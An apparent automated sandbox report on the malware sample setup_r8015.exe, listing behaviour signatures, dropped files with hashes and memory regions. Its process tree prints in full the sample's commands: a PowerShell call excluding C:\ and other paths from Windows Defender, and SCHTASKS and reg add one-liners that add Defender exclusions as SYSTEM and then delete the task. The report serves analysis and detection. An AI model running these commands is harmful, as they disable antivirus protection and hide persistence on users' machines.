Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 04:28

General

  • Target
    setup_r8015.exe
  • Size 40.9MB
  • Sample260805-e3v5nsvydz
  • SHA256 54c6afcee607bd749877d0487ca6591f1d287c03b9bf27f1e353805ea239fc96
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5880
  • C:\Users\Public\22nttp\luhnpx.exe
    "C:\Users\Public\22nttp\luhnpx.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2180
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\22nttp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\22nttp\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2608
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4816
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5428
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3496
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4788
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5004
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2224
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1480
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1016
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3404
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1860
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2008
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3576
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:6112
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:608
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4604
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1536
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4468
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4444
                      • C:\Users\Public\22nttp\luhnpx.exe
                        "C:\Users\Public\22nttp\luhnpx.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1484
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\22nttp" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2148
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\22nttp" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4760
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2948
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4864
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4988
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1660
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2504

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\22nttp\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 d55676bd6447775bcf4e384a603fe22d4d87233913388d48f5f308b33b90ca27
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\22nttp\adoresd.dat
                              • Size 4.7MB
                              • SHA256 de2af511ad0af863f22f1175e77c52feeb1b3df3bfbca4db7bfa8df72a6e6621
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              luhnpx.exe

                              • Path C:\Users\Public\22nttp\luhnpx.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\22nttp\msadox.tb
                              • Size 8KB
                              • SHA256 34b2e9271183963e6efd94eb07db99d5202c5b067dcfa3ed71578a4313281fa7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1388-556-0x000002508B4E0000-0x000002508B52E000-memory.dmp

                              memory/1388-559-0x000002508C890000-0x000002508C91A000-memory.dmp

                              memory/1388-566-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-565-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-530-0x00007FFE06E30000-0x00007FFE06E32000-memory.dmp

                              memory/1388-558-0x000002508C890000-0x000002508C91A000-memory.dmp

                              memory/1388-563-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-531-0x00007FFDE4220000-0x00007FFDE473E000-memory.dmp

                              memory/1388-536-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-538-0x00007FFE06E40000-0x00007FFE06E42000-memory.dmp

                              memory/1388-539-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-543-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-545-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-546-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-544-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-550-0x000002508BFF0000-0x000002508C881000-memory.dmp

                              memory/1388-560-0x000002508C890000-0x000002508C91A000-memory.dmp

                              memory/1388-561-0x000002508C890000-0x000002508C91A000-memory.dmp

                              memory/1484-584-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/1484-576-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/1484-573-0x00007FFDE4220000-0x00007FFDE473E000-memory.dmp

                              memory/1484-579-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/1484-585-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/1484-587-0x00007FFE06E30000-0x00007FFE06E32000-memory.dmp

                              memory/1484-583-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/1484-578-0x00007FFE06E40000-0x00007FFE06E42000-memory.dmp

                              memory/1484-586-0x0000021C697F0000-0x0000021C6A081000-memory.dmp

                              memory/2180-596-0x000002C274990000-0x000002C27499A000-memory.dmp

                              memory/2180-594-0x000002C274BC0000-0x000002C274C72000-memory.dmp

                              memory/2180-593-0x000002C274BA0000-0x000002C274BBE000-memory.dmp

                              memory/2180-590-0x000002C274940000-0x000002C274962000-memory.dmp

                              memory/5880-504-0x00007FFDFC410000-0x00007FFDFC422000-memory.dmp

                              memory/5880-525-0x00007FFDFC410000-0x00007FFDFC422000-memory.dmp

                              memory/5880-524-0x00000000048D0000-0x00000000048DD000-memory.dmp

                              memory/5880-2-0x00000000048E0000-0x00000000048EB000-memory.dmp

                              memory/5880-1-0x00000000048D0000-0x00000000048DD000-memory.dmp

                              memory/5880-0-0x00000000048D0000-0x00000000048DD000-memory.dmp